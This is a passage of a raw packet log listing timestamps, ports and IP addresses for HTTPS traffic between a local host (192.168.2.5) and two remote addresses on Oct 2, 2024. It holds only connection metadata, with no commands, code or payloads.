Oct 2, 2024 06:10:17.000241041 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:17.000899076 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:17.000915051 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:17.000957966 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:17.000963926 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:17.000989914 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:17.001009941 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:17.008402109 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:17.008416891 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:17.008455992 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:17.008461952 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:17.008498907 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:17.008512974 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:17.023247957 CEST	49716	443	192.168.2.5	20.12.23.50
Oct 2, 2024 06:10:17.075859070 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:17.075879097 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:17.075944901 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:17.075961113 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:17.076004982 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:17.076144934 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:17.076169968 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:17.076204062 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:17.076210022 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:17.076231956 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:17.076244116 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:17.076812983 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:17.076829910 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:17.076881886 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:17.076889038 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:17.076930046 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:17.078131914 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:17.078151941 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:17.078196049 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:17.078202009 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:17.078242064 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:17.079371929 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:17.079395056 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:17.079441071 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:17.079447985 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:17.079476118 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:17.079493046 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:17.088881016 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:17.088896990 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:17.088990927 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:17.088999033 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:17.089040995 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:17.089751005 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:17.089766979 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:17.089827061 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:17.089838028 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:17.089859962 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:17.089880943 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:17.096954107 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:17.096971035 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:17.097040892 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:17.097049952 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:17.097090006 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:17.164495945 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:17.164518118 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:17.164596081 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:17.164624929 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:17.164690018 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:17.164695024 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:17.164706945 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:17.164725065 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:17.164755106 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:17.164767027 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:17.164783001 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:17.164808035 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:17.165514946 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:17.165529966 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:17.165584087 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:17.165592909 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:17.165640116 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:17.166769028 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:17.166784048 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:17.166831970 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:17.166838884 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:17.166876078 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:17.167915106 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:17.167929888 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:17.167968988 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:17.167977095 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:17.168015003 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:17.168037891 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:17.177520990 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:17.177537918 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:17.177601099 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:17.177611113 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:17.177660942 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:17.178643942 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:17.178658962 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:17.178709984 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:17.178716898 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:17.178756952 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:17.185866117 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:17.185882092 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:17.185944080 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:17.185954094 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:17.186000109 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:17.253145933 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:17.253171921 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:17.253217936 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:17.253242016 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:17.253267050 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:17.253289938 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:17.253318071 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:17.253336906 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:17.253369093 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:17.253376007 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:17.253401995 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:17.253428936 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:17.253850937 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:17.253865004 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:17.253909111 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:17.253916979 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:17.253948927 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:17.253968000 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:17.255268097 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:17.255284071 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:17.255320072 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:17.255325079 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:17.255357027 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:17.255376101 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:17.256437063 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:17.256450891 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:17.256499052 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:17.256506920 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:17.256537914 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:17.256557941 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:17.276123047 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:17.276139021 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:17.276212931 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:17.276236057 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:17.276283026 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:17.276315928 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:17.276338100 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:17.276367903 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:17.276376009 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:17.276401997 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:17.276428938 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:17.276634932 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:17.276650906 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:17.276694059 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:17.276700020 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:17.276731014 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:17.276750088 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:17.341550112 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:17.341567039 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:17.341645956 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:17.341671944 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:17.341689110 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:17.341716051 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:17.341841936 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:17.341856956 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:17.341901064 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:17.341909885 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:17.341952085 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:17.341974974 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:17.342233896 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:17.342248917 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:17.342293024 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:17.342300892 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:17.342324018 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:17.342350960 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:17.343698025 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:17.343713999 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:17.343766928 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:17.343775034 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:17.343796015 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:17.343820095 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:17.344881058 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:17.344896078 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:17.344952106 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:17.344971895 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:17.345016956 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:17.355488062 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:17.355504036 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:17.355560064 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:17.355568886 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:17.355616093 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:17.355885983 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:17.355901003 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:17.355954885 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:17.355962992 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:17.355978966 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:17.356003046 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:17.362952948 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:17.362972021 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:17.363035917 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:17.363045931 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:17.363089085 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:17.430159092 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:17.430175066 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:17.430254936 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:17.430284023 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:17.430330992 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:17.430361986 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:17.430377960 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:17.430418968 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:17.430428028 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:17.430463076 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:17.430484056 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:17.430824995 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:17.430850029 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:17.430887938 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:17.430895090 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:17.430926085 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:17.430943012 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:17.432349920 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:17.432367086 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:17.432429075 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:17.432436943 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:17.432493925 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:17.433438063 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:17.433454037 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:17.433514118 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:17.433521986 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:17.433562994 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:17.444022894 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:17.444048882 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:17.444082975 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:17.444092035 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:17.444125891 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:17.444144011 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:17.444397926 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:17.444418907 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:17.444457054 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:17.444463015 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:17.444489956 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:17.444510937 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:17.451788902 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:17.451805115 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:17.451852083 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:17.451859951 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:17.451900959 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:17.451924086 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:17.518757105 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:17.518774986 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:17.518910885 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:17.518927097 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:17.518951893 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:17.518985987 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:17.519020081 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:17.519458055 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:17.519491911 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:17.519526958 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:17.519556046 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:17.519570112 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:17.520874023 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:17.520891905 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:17.520952940 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:17.520962000 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:17.521938086 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:17.521953106 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:17.522008896 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:17.522018909 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:17.522052050 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:17.532675028 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:17.532694101 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:17.532793999 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:17.532808065 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:17.533009052 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:17.533023119 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:17.533072948 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:17.533082962 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:17.533096075 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:17.540277004 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:17.540294886 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:17.540373087 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:17.540383101 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:17.540411949 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:17.585736990 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:17.595319033 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:17.607278109 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:17.607306004 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:17.607347012 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:17.607359886 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:17.607430935 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:17.607430935 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:17.607538939 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:17.607568979 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:17.607599974 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:17.607605934 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:17.607635021 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:17.607647896 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:17.607868910 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:17.607888937 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:17.607940912 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:17.607949972 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:17.607994080 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:17.609371901 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:17.609386921 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:17.609436035 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:17.609442949 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:17.609477043 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:17.609488964 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:17.610595942 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:17.610610962 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:17.610663891 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:17.610671043 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:17.610697985 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:17.610722065 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:17.621047974 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:17.621063948 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:17.621105909 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:17.621114016 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:17.621144056 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:17.621156931 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:17.621506929 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:17.621521950 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:17.621567011 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:17.621577024 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:17.621618986 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:17.629029036 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:17.629045963 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:17.629144907 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:17.629154921 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:17.629199028 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:17.641345978 CEST	49716	443	192.168.2.5	20.12.23.50
Oct 2, 2024 06:10:17.683404922 CEST	443	49716	20.12.23.50	192.168.2.5
Oct 2, 2024 06:10:17.696069002 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:17.696091890 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:17.696160078 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:17.696176052 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:17.696216106 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:17.696350098 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:17.696372032 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:17.696432114 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:17.696439028 CEST	443	49715	167.114.14.168	192.168.2.5
Oct 2, 2024 06:10:17.696454048 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:17.696481943 CEST	49715	443	192.168.2.5	167.114.14.168
Oct 2, 2024 06:10:17.697345018 CEST	443	49715	167.114.14.168	192.168.2.5
